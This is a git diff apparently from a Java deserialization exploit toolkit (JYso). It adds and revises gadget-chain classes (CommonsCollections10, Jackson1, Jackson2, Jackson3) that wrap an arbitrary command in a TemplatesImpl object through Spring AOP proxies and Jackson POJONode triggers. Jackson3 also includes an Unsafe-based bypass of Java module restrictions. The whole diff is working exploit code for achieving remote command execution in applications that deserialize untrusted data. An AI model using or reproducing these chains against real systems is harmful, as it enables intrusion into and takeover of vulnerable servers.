diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java index 9f2a1a5..7f1ffbf 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java @@ -4,6 +4,7 @@ import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Reflections; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import org.apache.commons.collections.Factory; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.FactoryTransformer; import org.apache.commons.collections.functors.InstantiateFactory; @@ -11,6 +12,7 @@ import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; +import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; @@ -23,8 +25,7 @@ public class CommonsCollections10 implements ObjectPayload { templates = Gadgets.createTemplatesImpl(command); // 使用 InstantiateFactory 代替 InstantiateTransformer InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates}); - - FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory); + FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) instantiateFactory); // 先放一个无关键要的 Transformer ConstantTransformer constantTransformer = new ConstantTransformer(1); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java similarity index 72% rename from src/main/java/com/qi4l/JYso/gadgets/Jackson.java rename to src/main/java/com/qi4l/JYso/gadgets/Jackson1.java index e5b4cab..cf4f9e9 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson1.java @@ -10,27 +10,23 @@ import javassist.CtMethod; import javax.management.BadAttributeValueExpException; import java.util.HashMap; - -public class Jackson implements ObjectPayload { +// 在触发 getter 的时候是以随机顺序触发的,所以概率打空 +public class Jackson1 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { final Object template; template = Gadgets.createTemplatesImpl(command); - ClassPool pool = ClassPool.getDefault(); - //pool.insertClassPath(new ClassClassPath(Class.forName("com.fasterxml.jackson.databind.node.BaseJsonNode"))); try { - CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); - // 将修改后的CtClass加载至当前线程的上下文类加载器中 ctClass.toClass(); } catch (Exception EE) { } - POJONode node = new POJONode(template); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java new file mode 100644 index 0000000..4a18535 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java @@ -0,0 +1,42 @@ +package com.qi4l.JYso.gadgets; + +import com.fasterxml.jackson.databind.node.POJONode; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; +import org.springframework.aop.framework.AdvisedSupport; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import javax.xml.transform.Templates; + +import javax.management.BadAttributeValueExpException; + +public class Jackson2 implements ObjectPayload { + public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { + AdvisedSupport advisedSupport = new AdvisedSupport(); + advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd)); + Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); + constructor.setAccessible(true); + InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); + Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); + return proxy; + } + + public Object getObject(final String command) throws Exception { + try { + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + ctClass.toClass(); + } catch (Exception EE) { + + } + POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Reflections.setFieldValue(val, "val", node); + return val; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java new file mode 100644 index 0000000..b3fbba2 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java @@ -0,0 +1,145 @@ +package com.qi4l.JYso.gadgets; + +import com.fasterxml.jackson.databind.node.POJONode; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.qi4l.JYso.gadgets.utils.Gadgets; + +import sun.misc.Unsafe; + +import org.springframework.aop.framework.AdvisedSupport; + +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import javax.swing.event.EventListenerList; +import javax.swing.undo.UndoManager; +import javax.xml.transform.Templates; + +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.lang.reflect.*; + +import java.util.ArrayList; +import java.util.Vector; + +import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; + + +public class Jackson3 implements ObjectPayload { + public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { + AdvisedSupport advisedSupport = new AdvisedSupport(); + advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd)); + Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); + constructor.setAccessible(true); + InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); + Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); + + return proxy; + } + + @Override + public Object getObject(final String command) throws Exception { + try { + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + ctClass.toClass(); + } catch (Exception EE) { + + } + + ArrayList classes = new ArrayList<>(); + classes.add(TemplatesImpl.class); + classes.add(POJONode.class); + classes.add(EventListenerList.class); + classes.add(Jackson3.class); + classes.add(Field.class); + classes.add(Method.class); + new Jackson3().bypassModule(classes); + + POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); + + EventListenerList eventListenerList = getEventListenerList(node); + + return getEventListenerList(node); + } + + public static EventListenerList getEventListenerList(Object obj) throws Exception { + EventListenerList list = new EventListenerList(); + UndoManager undomanager = new UndoManager(); + //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。 + Vector vector = (Vector) getFieldValue(undomanager, "edits"); + vector.add(obj); + + setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager}); + return list; + } + + private static Method getMethod(Class clazz, String methodName, Class[] params) { + Method method = null; + while (clazz != null) { + try { + method = clazz.getDeclaredMethod(methodName, params); + break; + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + return method; + } + + private static Unsafe getUnsafe() { + Unsafe unsafe = null; + try { + Field field = Unsafe.class.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (Unsafe) field.get(null); + } catch (Exception e) { + throw new AssertionError(e); + } + return unsafe; + } + + public void bypassModule(ArrayList classes) { + try { + Unsafe unsafe = getUnsafe(); + Class currentClass = this.getClass(); + try { + Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]); + if (getModuleMethod != null) { + for (Class aClass : classes) { + Object targetModule = getModuleMethod.invoke(aClass, new Object[]{}); + unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule); + } + } + } catch (Exception e) { + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static Object getFieldValue(Object obj, String fieldName) throws + Exception { + Field field = null; + Class c = obj.getClass(); + for (int i = 0; i < 5; i++) { + try { + field = c.getDeclaredField(fieldName); + } catch (NoSuchFieldException e) { + c = c.getSuperclass(); + } + } + field.setAccessible(true); + return field.get(obj); + } + + public static void setFieldValue(Object obj, String field, Object val) throws + Exception { + Field dField = obj.getClass().getDeclaredField(field); + dField.setAccessible(true); + dField.set(obj, val); + } +}